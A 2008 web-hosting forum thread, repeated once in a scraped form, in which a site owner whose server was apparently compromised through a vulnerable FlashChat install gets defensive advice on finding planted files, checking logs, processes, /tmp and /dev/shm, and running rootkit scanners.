Believe our site is hacked and need help locating the file

unrelenting · 02-09-2008, 03:16 PM

We think our site has a hidden file somewhere that is remotely access occasionally (usually between 4:00 and 5:00 PM). Our site will just basically stop responding and the mysql server will crash with a "too many connections" error.

We had a version of flashchat installed for over a year and a half that was vulnerable to hackers. Here is the google cached link to a website describing the exploit as the site is down at this moment:

http://64.233.169.104/search?q=cache...lnk&cd=1&gl=us

Here is the actual link in case their site comes back up soon:

http://www.milw0rm.com/exploits/2293

We removed this from our server about 3 weeks ago but the problems described above persist.

We have thousands of files, far too many to sift through one at a time and figure a planted file may be hidden for all we know.

We were on centos, apache, php and mysql. This week we moved our web folder off of that server and built a new one with centos, lighthttpd, mysql and php, all the newest versions.

What we need is some info on how to log or check what file may be doing the damage when this happens. Any suggestion would be appreciated.

Skie · 02-10-2008, 11:57 AM

There's 3 things you can do to try to find where the problem is.

First, using either an FTP client or SSH, go through any folders that have been changed (modified date) since this started happening. Go into those folders and find any files/folders that also have a newer modified date. Eventually, you'll be able to find the files that were uploaded. If you're using SSH, make sure you list all files/folders (ls -la). With an FTP client, make sure it dispalys all hidden files/folders (within the menu usually).

The second thing you can do is access the raw logs for your site. Locate the portion around the time frame where the issues start each day and look through all the entries until you find anything suspicious. Basically, any URL that's calling another URL from another website is suspect.

The third thing you can do is via SSH. If you look through the process list, you may find a perl script pretending to be an apache/lighthttpd process. Use "lsof |grep xxxxx" (replace the x's with the PID of that process which you can get from "ps -aux"). From that output of lsof, you may see a path to a file at the begining of the output. However, if the script is made to auto delete itself once run, you won't find where it's located. Also, this third step won't tell you what PHP script is being compromised.

One last thing you can try (if you have root access) is look in your /tmp for any suspicious files. Anything that's owned by the user nobody that is not a session file (sess_xxxxxxxxx) is suspect, but not all such files will be hacking scripts. Anything within /dev/shm is 100% suspect and should be removed. /dev/shm should be empty at all times. If you haven't yet, you'll need to disable the ability to run programs within /dev/shm and /tmp. With /tmp, this can only be done if /tmp is a seperate partition. There's a slight work around if it's not a seperate partition, but it's not as effective. This won't protect against shell/perl scripts, but will protect against executables/binaries.

I would also suggest installing (again, if you have root access) rkhunter (rootkit hunter) and chkrootkit and running them periodically. Both are free and should be the first search result in google.

unrelenting · 02-10-2008, 02:20 PM

Thanks for that information.

Would that specific exploit mentioned on that link give a hacker the ability to put a file on the server and get passwords and such or would the hacker need to go through that "doorway" every time they did anything? What I'm getting at is, if that has been deleted is it possible for them to stay alive or would that stop the hacking just by deleting that chat script and folder?

Skie · 02-10-2008, 03:46 PM

That depends on the type of script that was used (and what it was written to do). The link you provided only shows how to gain access. It doesn't provide the actual script and I believe any script could be used. Some will even allow the hacker to gain full root access to the server (they'll use a vulnerability in the OS itself to gain this access), at which point, they don't need a simple exploit.

The best thing to do is do a full audit of all files. And upgrade any PHP scripts that you're using on a regular basis to prevent this from happening again. Also upgrade any server software as well as the OS itself (provided you have root access).

unrelenting · 02-10-2008, 04:05 PM

Thanks again. I was afraid of that. Will start digging again.

02-09-2008, 03:16 PM	#1 (permalink)
unrelenting Registered User Join Date: Feb 2008 Posts: 3 OS: XP	Believe our site is hacked and need help locating the file We think our site has a hidden file somewhere that is remotely access occasionally (usually between 4:00 and 5:00 PM). Our site will just basically stop responding and the mysql server will crash with a "too many connections" error. We had a version of flashchat installed for over a year and a half that was vulnerable to hackers. Here is the google cached link to a website describing the exploit as the site is down at this moment: http://64.233.169.104/search?q=cache...lnk&cd=1&gl=us Here is the actual link in case their site comes back up soon: http://www.milw0rm.com/exploits/2293 We removed this from our server about 3 weeks ago but the problems described above persist. We have thousands of files, far too many to sift through one at a time and figure a planted file may be hidden for all we know. We were on centos, apache, php and mysql. This week we moved our web folder off of that server and built a new one with centos, lighthttpd, mysql and php, all the newest versions. What we need is some info on how to log or check what file may be doing the damage when this happens. Any suggestion would be appreciated.

02-10-2008, 11:57 AM	#2 (permalink)
Skie Manager, Alternative Comp Join Date: Mar 2003 Location: Downers Grove, IL Posts: 1,821 OS: Gentoo Linux, Redhat Enterprise Linux, CentOS My System	Re: Believe our site is hacked and need help locating the file There's 3 things you can do to try to find where the problem is. First, using either an FTP client or SSH, go through any folders that have been changed (modified date) since this started happening. Go into those folders and find any files/folders that also have a newer modified date. Eventually, you'll be able to find the files that were uploaded. If you're using SSH, make sure you list all files/folders (ls -la). With an FTP client, make sure it dispalys all hidden files/folders (within the menu usually). The second thing you can do is access the raw logs for your site. Locate the portion around the time frame where the issues start each day and look through all the entries until you find anything suspicious. Basically, any URL that's calling another URL from another website is suspect. The third thing you can do is via SSH. If you look through the process list, you may find a perl script pretending to be an apache/lighthttpd process. Use "lsof \|grep xxxxx" (replace the x's with the PID of that process which you can get from "ps -aux"). From that output of lsof, you may see a path to a file at the begining of the output. However, if the script is made to auto delete itself once run, you won't find where it's located. Also, this third step won't tell you what PHP script is being compromised. One last thing you can try (if you have root access) is look in your /tmp for any suspicious files. Anything that's owned by the user nobody that is not a session file (sess_xxxxxxxxx) is suspect, but not all such files will be hacking scripts. Anything within /dev/shm is 100% suspect and should be removed. /dev/shm should be empty at all times. If you haven't yet, you'll need to disable the ability to run programs within /dev/shm and /tmp. With /tmp, this can only be done if /tmp is a seperate partition. There's a slight work around if it's not a seperate partition, but it's not as effective. This won't protect against shell/perl scripts, but will protect against executables/binaries. I would also suggest installing (again, if you have root access) rkhunter (rootkit hunter) and chkrootkit and running them periodically. Both are free and should be the first search result in google. __________________

02-10-2008, 02:20 PM	#3 (permalink)
unrelenting Registered User Join Date: Feb 2008 Posts: 3 OS: XP	Re: Believe our site is hacked and need help locating the file Thanks for that information. Would that specific exploit mentioned on that link give a hacker the ability to put a file on the server and get passwords and such or would the hacker need to go through that "doorway" every time they did anything? What I'm getting at is, if that has been deleted is it possible for them to stay alive or would that stop the hacking just by deleting that chat script and folder?

02-10-2008, 03:46 PM	#4 (permalink)
Skie Manager, Alternative Comp Join Date: Mar 2003 Location: Downers Grove, IL Posts: 1,821 OS: Gentoo Linux, Redhat Enterprise Linux, CentOS My System	Re: Believe our site is hacked and need help locating the file That depends on the type of script that was used (and what it was written to do). The link you provided only shows how to gain access. It doesn't provide the actual script and I believe any script could be used. Some will even allow the hacker to gain full root access to the server (they'll use a vulnerability in the OS itself to gain this access), at which point, they don't need a simple exploit. The best thing to do is do a full audit of all files. And upgrade any PHP scripts that you're using on a regular basis to prevent this from happening again. Also upgrade any server software as well as the OS itself (provided you have root access). __________________

02-10-2008, 04:05 PM	#5 (permalink)
unrelenting Registered User Join Date: Feb 2008 Posts: 3 OS: XP	Re: Believe our site is hacked and need help locating the file Thanks again. I was afraid of that. Will start digging again.